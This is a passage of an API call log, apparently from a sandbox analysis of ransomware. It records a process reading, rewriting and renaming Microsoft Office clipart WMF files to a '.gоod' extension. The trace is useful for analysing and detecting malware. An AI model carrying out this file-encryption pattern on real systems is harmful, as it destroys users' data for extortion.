dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0225.262] GetFileType (hFile=0x82c) returned 0x1 [0225.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0225.262] GetFileType (hFile=0x82c) returned 0x1 [0225.262] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0225.262] ReadFile (in: hFile=0x82c, lpBuffer=0x36aaac0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x36aaac0*, lpNumberOfBytesRead=0x1faedd28*=0x678, lpOverlapped=0x0) returned 1 [0225.263] CloseHandle (hObject=0x82c) returned 1 [0225.263] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF", lpFilePart=0x0) returned 0x44 [0225.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0225.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0225.263] GetFileType (hFile=0x82c) returned 0x1 [0225.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0225.263] GetFileType (hFile=0x82c) returned 0x1 [0225.263] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1678 [0225.264] WriteFile (in: hFile=0x82c, lpBuffer=0x36abd58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x36abd58*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0225.264] CloseHandle (hObject=0x82c) returned 1 [0225.264] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF", lpFilePart=0x0) returned 0x44 [0225.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0225.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0225.264] GetFileType (hFile=0x82c) returned 0x1 [0225.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0225.264] GetFileType (hFile=0x82c) returned 0x1 [0225.264] ReadFile (in: hFile=0x82c, lpBuffer=0x36ae018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x36ae018*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0225.290] CloseHandle (hObject=0x82c) returned 1 [0225.290] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF", lpFilePart=0x0) returned 0x44 [0225.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0225.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0225.290] GetFileType (hFile=0x82c) returned 0x1 [0225.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0225.290] GetFileType (hFile=0x82c) returned 0x1 [0225.290] WriteFile (in: hFile=0x82c, lpBuffer=0x36acd70*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x36acd70*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0225.290] CloseHandle (hObject=0x82c) returned 1 [0225.290] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF", lpFilePart=0x0) returned 0x44 [0225.291] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0225.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0225.291] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x827e2dfb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1688)) returned 1 [0225.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0225.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.gоod")) returned 1 [0225.292] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF", lpFilePart=0x0) returned 0x44 [0225.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0225.292] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x372a598 | out: lpFileInformation=0x372a598*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa54)) returned 1 [0225.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0225.292] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF", lpFilePart=0x0) returned 0x44 [0225.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0225.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0225.292] GetFileType (hFile=0x82c) returned 0x1 [0225.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0225.292] GetFileType (hFile=0x82c) returned 0x1 [0225.292] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xa54 [0225.293] ReadFile (in: hFile=0x82c, lpBuffer=0x372b298, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x372b298*, lpNumberOfBytesRead=0x1faedc88*=0xa54, lpOverlapped=0x0) returned 1 [0225.360] CloseHandle (hObject=0x82c) returned 1 [0227.633] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF", lpFilePart=0x0) returned 0x44 [0227.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0227.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0227.634] GetFileType (hFile=0x834) returned 0x1 [0227.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0227.634] GetFileType (hFile=0x834) returned 0x1 [0227.634] WriteFile (in: hFile=0x834, lpBuffer=0x37fd928*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x37fd928*, lpNumberOfBytesWritten=0x1faedb98*=0xa60, lpOverlapped=0x0) returned 1 [0227.635] CloseHandle (hObject=0x834) returned 1 [0227.635] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF", lpFilePart=0x0) returned 0x44 [0227.635] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0227.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0227.635] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x83e3cea5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa60)) returned 1 [0227.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0227.636] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.gоod")) returned 1 [0227.637] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF", lpFilePart=0x0) returned 0x44 [0227.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0227.637] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x37febb8 | out: lpFileInformation=0x37febb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1498)) returned 1 [0227.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0227.637] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF", lpFilePart=0x0) returned 0x44 [0227.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0227.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0227.638] GetFileType (hFile=0x834) returned 0x1 [0227.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0227.638] GetFileType (hFile=0x834) returned 0x1 [0227.638] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0227.638] ReadFile (in: hFile=0x834, lpBuffer=0x37fefd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x37fefd0*, lpNumberOfBytesRead=0x1faedd28*=0x498, lpOverlapped=0x0) returned 1 [0228.090] CloseHandle (hObject=0x834) returned 1 [0228.322] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF", lpFilePart=0x0) returned 0x44 [0228.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0228.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0228.323] GetFileType (hFile=0x82c) returned 0x1 [0228.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0228.323] GetFileType (hFile=0x82c) returned 0x1 [0228.323] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1498 [0228.323] WriteFile (in: hFile=0x82c, lpBuffer=0x38b7fb0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x38b7fb0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0228.324] CloseHandle (hObject=0x82c) returned 1 [0228.324] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF", lpFilePart=0x0) returned 0x44 [0228.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0228.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0228.324] GetFileType (hFile=0x82c) returned 0x1 [0228.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0228.324] GetFileType (hFile=0x82c) returned 0x1 [0228.324] ReadFile (in: hFile=0x82c, lpBuffer=0x38ba270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x38ba270*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0228.352] CloseHandle (hObject=0x82c) returned 1 [0228.352] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF", lpFilePart=0x0) returned 0x44 [0228.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0228.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0228.352] GetFileType (hFile=0x82c) returned 0x1 [0228.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0228.352] GetFileType (hFile=0x82c) returned 0x1 [0228.352] WriteFile (in: hFile=0x82c, lpBuffer=0x38b8fc8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x38b8fc8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0228.352] CloseHandle (hObject=0x82c) returned 1 [0228.352] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF", lpFilePart=0x0) returned 0x44 [0228.353] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0228.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0228.353] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x845178de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14a8)) returned 1 [0228.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0228.353] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.gоod")) returned 1 [0228.354] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF", lpFilePart=0x0) returned 0x44 [0228.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0228.354] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x39367d8 | out: lpFileInformation=0x39367d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc8)) returned 1 [0228.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0228.355] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF", lpFilePart=0x0) returned 0x44 [0228.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0228.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0228.355] GetFileType (hFile=0x82c) returned 0x1 [0228.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0228.355] GetFileType (hFile=0x82c) returned 0x1 [0228.355] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xbc8 [0228.355] ReadFile (in: hFile=0x82c, lpBuffer=0x3937648, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3937648*, lpNumberOfBytesRead=0x1faedc88*=0xbc8, lpOverlapped=0x0) returned 1 [0228.402] CloseHandle (hObject=0x82c) returned 1 [0229.529] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF", lpFilePart=0x0) returned 0x44 [0229.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0229.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0229.530] GetFileType (hFile=0x630) returned 0x1 [0229.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0229.530] GetFileType (hFile=0x630) returned 0x1 [0229.530] WriteFile (in: hFile=0x630, lpBuffer=0x368dbe0*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x368dbe0*, lpNumberOfBytesWritten=0x1faedb98*=0xbd0, lpOverlapped=0x0) returned 1 [0229.531] CloseHandle (hObject=0x630) returned 1 [0229.531] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF", lpFilePart=0x0) returned 0x44 [0229.531] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0229.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0229.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8505445f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1 [0229.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0229.531] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft 